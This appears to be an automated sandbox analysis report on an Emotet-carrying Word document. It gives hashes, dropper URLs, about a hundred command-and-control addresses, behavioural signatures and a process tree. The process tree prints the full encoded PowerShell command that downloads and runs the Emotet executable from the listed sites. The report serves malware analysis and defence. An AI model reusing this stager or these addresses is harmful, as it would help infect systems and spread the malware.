emotet | 3094430b3d76d53847a19a95eb5729490be7efc8f68feb4b57aeb8fd72c94ee9

General

Target
からの変更09.doc
Size 153KB
Sample200924-txsc8tvpyn
SHA256 3094430b3d76d53847a19a95eb5729490be7efc8f68feb4b57aeb8fd72c94ee9
MD5 6e2188bdb0e23459731498fd023cca5f
SHA1 5f0b563a5d3a2a5119974853e204e9c57cd40c2d
SHA512 b1ad361e218d4a49e54224446f65276ab265f63cfac64ae91a85759b729446da6ac895f247273f710d099069ae17037da7446f2c2d62fbc9f750fc04a420032a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.firhajshoes.com/wp-admin/RgaiT/
exe.dropper
http://fakeread.com/OneSignal-Web-SDK-HTTPS-Integration-Files/Wf/
exe.dropper
http://www.rttutoring.com/wp-includes/LlbY6o/
exe.dropper
http://blueskysol.com/sys-cache/2Rk/
exe.dropper
http://crazyboxs.com/cgi-bin/IaJ/
exe.dropper
http://www.paramedicaleducationguidelines.com/wp-admin/3jXU5Bp/
exe.dropper
http://nuhatoys.com/wp-admin/WWA4R/

Extracted

Family

emotet

C2

174.106.122.139:80
159.203.116.47:8080
173.249.6.108:443
104.236.246.93:8080
174.45.13.118:80
137.59.187.107:8080
94.200.114.161:80
37.187.72.193:8080
67.10.155.92:80
121.124.124.40:7080
24.43.99.75:80
75.139.38.211:80
109.74.5.95:8080
137.119.36.33:80
74.134.41.124:80
66.65.136.14:80
94.1.108.190:443
181.169.235.7:80
79.137.83.50:443
104.131.44.150:8080
121.7.127.163:80
96.249.236.156:443
120.150.60.189:80
134.209.36.254:8080
110.145.77.103:80
118.83.154.64:443
71.72.196.159:80
50.91.114.38:80
62.75.141.82:80
157.245.99.39:8080
140.186.212.146:80
168.235.67.138:7080
104.131.11.150:443
78.24.219.147:8080
46.105.131.79:8080
104.251.33.179:80
24.43.32.186:80
200.114.213.233:8080
153.137.36.142:80
85.96.199.93:80
94.23.237.171:443
5.39.91.110:7080
85.152.162.105:80
162.241.242.173:8080
213.196.135.145:80
139.99.158.11:443
194.187.133.160:443
78.187.156.31:80
1.221.254.82:80
124.41.215.226:80
139.130.242.43:80
209.141.54.221:8080
87.106.136.232:8080
83.169.36.251:8080
195.7.12.8:80
185.94.252.104:443
95.213.236.64:8080
42.200.107.142:80
203.153.216.189:7080
68.188.112.97:80
5.196.74.210:8080
87.106.139.101:8080
104.32.141.43:80
94.124.59.22:8080
74.219.172.26:80
108.46.29.236:80
93.147.212.206:80
172.104.97.173:8080
190.240.194.77:443
103.86.49.11:8080
74.208.45.104:8080
82.80.155.43:80
61.19.246.238:443
139.162.108.71:8080
121.7.31.214:80
188.219.31.12:80
37.139.21.175:8080
181.169.34.190:80
219.74.18.66:443
123.176.25.234:80
216.139.123.119:80
79.98.24.39:8080
62.30.7.67:443
139.162.60.124:8080
176.111.60.55:8080
91.211.88.52:7080
172.91.208.86:80
139.59.60.244:8080
89.216.122.92:80
142.112.10.95:20
107.5.122.110:80
50.35.17.13:80
97.82.79.83:80
68.252.26.78:80
110.142.236.207:80
47.144.21.12:443
24.137.76.62:80
220.245.198.194:80
74.120.55.163:80
24.179.13.119:80
113.61.66.94:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1072	3080	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4028-15-0x0000000002180000-0x0000000002192000-memory.dmp	emotet
behavioral2/memory/4028-15-0x0000000002180000-0x0000000002192000-memory.dmp	emotet
behavioral2/memory/4028-16-0x00000000004A0000-0x00000000004B0000-memory.dmp	emotet
behavioral2/memory/4028-16-0x00000000004A0000-0x00000000004B0000-memory.dmp	emotet
behavioral2/memory/1448-19-0x0000000000680000-0x0000000000692000-memory.dmp	emotet
behavioral2/memory/1448-19-0x0000000000680000-0x0000000000692000-memory.dmp	emotet
behavioral2/memory/1448-20-0x00000000006A0000-0x00000000006B0000-memory.dmp	emotet
behavioral2/memory/1448-20-0x00000000006A0000-0x00000000006B0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
19	1072	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4028	P_lulvp1.exe
1448	hdwwiz.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wmpeffects\hdwwiz.exe	P_lulvp1.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
728	WINWORD.EXE
728	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1072	POwersheLL.exe
1072	POwersheLL.exe
1072	POwersheLL.exe
1448	hdwwiz.exe
1448	hdwwiz.exe
1448	hdwwiz.exe
1448	hdwwiz.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1072	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1072 wrote to memory of 4028	1072	POwersheLL.exe	79
PID 1072 wrote to memory of 4028	1072	POwersheLL.exe	79
PID 1072 wrote to memory of 4028	1072	POwersheLL.exe	79
PID 4028 wrote to memory of 1448	4028	P_lulvp1.exe	82
PID 4028 wrote to memory of 1448	4028	P_lulvp1.exe	82
PID 4028 wrote to memory of 1448	4028	P_lulvp1.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\からの変更09.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:728

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABFAGgAZQBmADUAOQBpAD0AKAAoACcAWgAnACsAJwBzADUAJwApACsAJwAwACcAKwAoACcAZAA1ACcAKwAnAGIAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AdgA6AFUAcwBlAHIAcABSAE8AZgBJAGwAZQBcAEkAMgBiAHkARABvAEkAXABlAGoAbwAyADYAUQBEAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAQwB0AG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBgAGMAVQByAGkAYABUAHkAUAByAG8AdABPAGMAbwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACgAJwAsACAAdABsAHMAJwArACcAMQAnACkAKwAoACcAMQAnACsAJwAsACAAJwApACsAJwB0AGwAJwArACcAcwAnACkAOwAkAEYAMwB5AHMAcQBvAHYAIAA9ACAAKAAoACcAUAAnACsAJwBfAGwAdQAnACkAKwAnAGwAJwArACgAJwB2AHAAJwArACcAMQAnACkAKQA7ACQATQBsAG8AcAA4ADAAMwA9ACgAJwBGACcAKwAoACcAbgBqACcAKwAnAGsAcAA4AG8AJwApACkAOwAkAEQAZwBsAHIAeAA1AHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ASQAyACcAKwAnAGIAeQAnACsAKAAnAGQAbwAnACsAJwBpACcAKQArACcAewAwAH0AJwArACgAJwBFACcAKwAnAGoAbwAnACkAKwAnADIANgBxAGQAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAGYAWwBDAEgAYQByAF0AOQAyACkAKwAkAEYAMwB5AHMAcQBvAHYAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABFAHoAdwB2AGoAMQBtAD0AKAAoACcAVwBlACcAKwAnADcAJwApACsAJwBlACcAKwAoACcAdAAnACsAJwBlAHYAJwApACkAOwAkAFUAcAAyAGkAbQBlAHAAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAQwBMAGkAZQBuAHQAOwAkAFMAdwBrAGMAMgAyAG0APQAoACcAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6ACcAKwAoACcALwAnACsAJwAvAHcAdwB3AC4AZgAnACsAJwBpACcAKQArACcAcgAnACsAKAAnAGgAYQBqAHMAJwArACcAaAAnACkAKwAoACcAbwAnACsAJwBlAHMALgBjAG8AJwArACcAbQAvAHcAJwApACsAJwBwACcAKwAnAC0AYQAnACsAJwBkACcAKwAnAG0AJwArACcAaQAnACsAJwBuAC8AJwArACcAUgAnACsAJwBnACcAKwAnAGEAaQAnACsAJwBUAC8AJwArACgAJwAqAGgAJwArACcAdAB0ACcAKQArACcAcAA6ACcAKwAnAC8ALwAnACsAKAAnAGYAYQBrACcAKwAnAGUAJwApACsAKAAnAHIAJwArACcAZQBhACcAKQArACcAZAAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACgAJwBtAC8AJwArACcATwAnACkAKwAoACcAbgAnACsAJwBlAFMAaQAnACsAJwBnAG4AJwArACcAYQBsAC0AVwAnACsAJwBlAGIALQBTACcAKwAnAEQASwAtACcAKQArACcASAAnACsAJwBUACcAKwAnAFQAJwArACcAUABTACcAKwAoACcALQAnACsAJwBJAG4AJwApACsAKAAnAHQAZQBnAHIAYQAnACsAJwB0AGkAJwApACsAKAAnAG8AbgAtAEYAaQBsACcAKwAnAGUAcwAvACcAKQArACgAJwBXAGYALwAnACsAJwAqACcAKQArACcAaAAnACsAKAAnAHQAJwArACcAdABwADoALwAnACkAKwAnAC8AJwArACgAJwB3ACcAKwAnAHcAdwAuACcAKQArACcAcgAnACsAKAAnAHQAdAAnACsAJwB1AHQAbwByAGkAJwApACsAKAAnAG4AZwAuAGMAJwArACcAbwBtACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtAGkAJwApACsAKAAnAG4AJwArACcAYwBsAHUAZAAnACkAKwAoACcAZQBzAC8AJwArACcATABsACcAKQArACgAJwBiAFkAJwArACcANgBvACcAKQArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AYgAnACkAKwAoACcAbAB1ACcAKwAnAGUAJwApACsAJwBzACcAKwAnAGsAJwArACgAJwB5ACcAKwAnAHMAbwBsAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACcALwBzACcAKwAnAHkAcwAnACsAJwAtACcAKwAoACcAYwAnACsAJwBhAGMAaAAnACkAKwAoACcAZQAvACcAKwAnADIAUgAnACkAKwAoACcAawAnACsAJwAvACoAaAB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvAC8AYwByACcAKQArACgAJwBhAHoAJwArACcAeQBiAG8AeABzAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAYwBnACcAKwAnAGkAJwApACsAJwAtACcAKwAnAGIAJwArACcAaQBuACcAKwAoACcALwBJACcAKwAnAGEASgAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAHcAJwArACcAdwB3ACcAKQArACgAJwAuAHAAYQAnACsAJwByAGEAbQAnACsAJwBlACcAKQArACcAZABpACcAKwAoACcAYwBhAGwAZQAnACsAJwBkACcAKwAnAHUAYwBhAHQAaQAnACsAJwBvAG4AZwB1AGkAJwApACsAJwBkAGUAJwArACcAbAAnACsAKAAnAGkAJwArACcAbgBlAHMALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtAGkAbgAnACkAKwAoACcALwAzAGoAJwArACcAWABVACcAKQArACcANQBCACcAKwAoACcAcAAnACsAJwAvACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAJwArACcAOgAvAC8AJwApACsAJwBuACcAKwAnAHUAaAAnACsAKAAnAGEAdAAnACsAJwBvAHkAcwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAcAAnACkAKwAnAC0AJwArACgAJwBhACcAKwAnAGQAbQBpACcAKQArACgAJwBuAC8AJwArACcAVwBXACcAKQArACgAJwBBADQAUgAnACsAJwAvACcAKQApAC4AIgBzAFAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEsAaABtAHgANgByAGMAPQAoACcAQgBrACcAKwAoACcANwByADQAJwArACcAagAnACkAKwAnAGgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBnAHoAeABrAG4AagAgAGkAbgAgACQAUwB3AGsAYwAyADIAbQApAHsAdAByAHkAewAkAFUAcAAyAGkAbQBlAHAALgAiAEQATwBXAGAATgBsAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFkAZwB6AHgAawBuAGoALAAgACQARABnAGwAcgB4ADUAeAApADsAJABZAGMAZgA4ADQAZgB6AD0AKAAoACcAWgBnACcAKwAnAHUAMwAnACkAKwAoACcAZAAnACsAJwB5AGYAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQARABnAGwAcgB4ADUAeAApAC4AIgBsAGAAZQBuAEcAdABIACIAIAAtAGcAZQAgADIAMQA3ADcAMwApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABEAGcAbAByAHgANQB4ACkAOwAkAEwANwBoAHYAMwB5AHoAPQAoACcAQwAnACsAKAAnAHQAXwAnACsAJwA2ADYAcAB3ACcAKQApADsAYgByAGUAYQBrADsAJABVAGgAcgAwAHkAXwBqAD0AKAAoACcATwB4ACcAKwAnAHkAJwApACsAKAAnADgAawAnACsAJwBwACcAKQArACcAbwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAegBtAG4AXwBzAGcAPQAoACgAJwBNAGsAJwArACcAMQB4AHoAOAAnACkAKwAnAGUAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1072
- C:\Users\Admin\I2bydoi\Ejo26qd\P_lulvp1.exe
  "C:\Users\Admin\I2bydoi\Ejo26qd\P_lulvp1.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\Windows\SysWOW64\wmpeffects\hdwwiz.exe
    "C:\Windows\SysWOW64\wmpeffects\hdwwiz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1448

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/728-5-0x00000206DE9C8000-0x00000206DEA10000-memory.dmp

Download

memory/728-0-0x00007FFFF7060000-0x00007FFFF7726000-memory.dmp

Download

memory/1072-10-0x000001F27F4B0000-0x000001F27F4B1000-memory.dmp

Download

memory/1072-11-0x000001F27F6E0000-0x000001F27F6E1000-memory.dmp

Download

memory/1072-9-0x00007FFFEF710000-0x00007FFFF00FC000-memory.dmp

Download

memory/1448-19-0x0000000000680000-0x0000000000692000-memory.dmp

Download

memory/1448-20-0x00000000006A0000-0x00000000006B0000-memory.dmp

Download

memory/4028-15-0x0000000002180000-0x0000000002192000-memory.dmp

Download

memory/4028-16-0x00000000004A0000-0x00000000004B0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads